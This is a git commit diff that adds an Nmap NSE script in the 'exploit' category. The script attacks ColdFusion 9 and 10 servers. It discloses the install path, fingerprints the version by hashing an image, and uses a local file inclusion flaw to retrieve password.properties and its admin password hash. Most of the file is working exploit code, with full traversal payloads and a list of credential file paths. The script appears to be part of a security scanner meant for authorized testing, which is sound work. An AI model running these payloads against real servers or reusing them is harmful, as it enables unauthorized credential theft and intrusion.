summaryrefslogtreecommitdiffstats
path: root/scripts/http-coldfusion-subzero.nse
diff options
context:
space:
mode:
Diffstat (limited to 'scripts/http-coldfusion-subzero.nse')
-rw-r--r--scripts/http-coldfusion-subzero.nse147
1 files changed, 147 insertions, 0 deletions
diff --git a/scripts/http-coldfusion-subzero.nse b/scripts/http-coldfusion-subzero.nse
new file mode 100644
index 0000000..ae7d5ba
--- /dev/null
+++ b/scripts/http-coldfusion-subzero.nse
@@ -0,0 +1,147 @@
+description = [[
+Attempts to retrieve version, absolute path of administration panel and the
+file 'password.properties' from vulnerable installations of ColdFusion 9 and
+10.
+
+This was based on the exploit 'ColdSub-Zero.pyFusion v2'.
+]]
+
+---
+-- @see http-adobe-coldfusion-apsa1301.nse
+-- @see http-vuln-cve2009-3960.nse
+-- @see http-vuln-cve2010-2861.nse
+--
+-- @usage nmap -sV --script http-coldfusion-subzero <target>
+-- @usage nmap -p80 --script http-coldfusion-subzero --script-args basepath=/cf/ <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-coldfusion-subzero:
+-- | absolute_path: C:\inetpub\wwwroot\CFIDE\adminapi\customtags
+-- | version: 9
+-- | password_properties: #Fri Mar 02 17:03:01 CST 2012
+-- | rdspassword=
+-- | password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0
+-- |_encrypted=true
+--
+-- @xmloutput
+-- <elem key="version">9</elem>
+-- <elem key="password_properties">#Fri Mar 02 17:03:01 CST 2012&#xd;&#xa;rdspassword=&#xd;&#xa;password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0&#xd;&#xa;encrypted=true&#xd;&#xa;</elem>
+-- @args http-coldfusion-subzero.basepath Base path. Default: /.
+--
+---
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit"}
+
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local url = require "url"
+local openssl = stdnse.silent_require "openssl"
+
+portrule = shortport.http
+
+local PATH_PAYLOAD = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&\z
+attributes.file=../../administrator/analyzer/index.cfm&attributes.locale=it&\z
+attributes.var=it&attributes.jscript=false&attributes.type=text/html&\z
+attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp"
+local IMG_PAYLOAD = "CFIDE/administrator/images/loginbackground.jpg"
+local LFI_PAYLOAD_FRAG_1 = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id\z
+=it&attributes.file=../../administrator/mail/download.cfm&filename="
+local LFI_PAYLOAD_FRAG_2 = "&attributes.locale=it&attributes.var=it&\z
+attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&\z
+thisTag.executionmode=end&thisTag.generatedContent=htp"
+local CREDENTIALS_PAYLOADS = {
+ "../../lib/password.properties",
+ "..\\..\\lib\\password.properties",
+ "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\lib\\password.properties",
+ "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\cfusion\\lib\\password.properties",
+ "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties",
+ "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\lib\\password.properties",
+ "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\cfusion\\lib\\password.properties",
+ "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties",
+ "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties",
+ "../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties"
+}
+
+---
+-- Extracts absolute path of installation by reading the ANALIZER_DIRECTORY
+-- value from the header 'set-cookie'
+--
+local function get_installation_path(host, port, basepath)
+ local req = http.get(host, port, basepath..PATH_PAYLOAD)
+ if req.header['set-cookie'] then
+ stdnse.debug1("Header 'set-cookie' detected in response.")
+ local _, _, path = string.find(req.header['set-cookie'],
+ "path=/, ANALYZER_DIRECTORY=(.-);path=/")
+ if path then
+ stdnse.debug1("Extracted path:%s", path)
+ return path
+ end
+ end
+ return nil
+end
+
+---
+-- Extracts version by comparing an image with known md5 checksums
+--
+local function get_version(host, port, basepath)
+ local version = -1
+ local img_req = http.get(host, port, basepath..IMG_PAYLOAD)
+ if img_req.status == 200 then
+ local md5chk = stdnse.tohex(openssl.md5(img_req.body))
+ if md5chk == "a4c81b7a6289b2fc9b36848fa0cae83c" then
+ stdnse.debug1("CF version 10 detected.")
+ version = 10
+ elseif md5chk == "596b3fc4f1a0b818979db1cf94a82220" then
+ stdnse.debug1("CF version 9 detected.")
+ version = 9
+ elseif md5chk == "" then
+ stdnse.debug1("CF version 8 detected.")
+ version = 8
+ else
+ stdnse.debug1("Could not determine version.")
+ version = nil
+ end
+ end
+ return version
+end
+
+---
+-- Sends malicious payloads to exploit a LFI vulnerability and extract the credentials
+local function exploit(host, port, basepath)
+ for i, vector in ipairs(CREDENTIALS_PAYLOADS) do
+ local req = http.get(host, port, basepath..LFI_PAYLOAD_FRAG_1..vector..LFI_PAYLOAD_FRAG_2)
+ if req.body and string.find(req.body, "encrypted=true") then
+ stdnse.debug1("String pattern found. Exploitation worked with vector '%s'.", vector)
+ return true, req.body
+ end
+ end
+end
+
+action = function(host, port)
+ local output_tab = stdnse.output_table()
+ local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or "/"
+
+ local installation_path = get_installation_path(host, port, basepath)
+ local version_num = get_version(host, port, basepath)
+ local status, file = exploit(host, port, basepath)
+
+ if status then
+ if version_num then
+ output_tab.version = version_num
+ end
+ if installation_path then
+ output_tab.installation_path = url.unescape(installation_path)
+ end
+ output_tab.password_properties = file
+ else
+ return nil
+ end
+
+ return output_tab
+end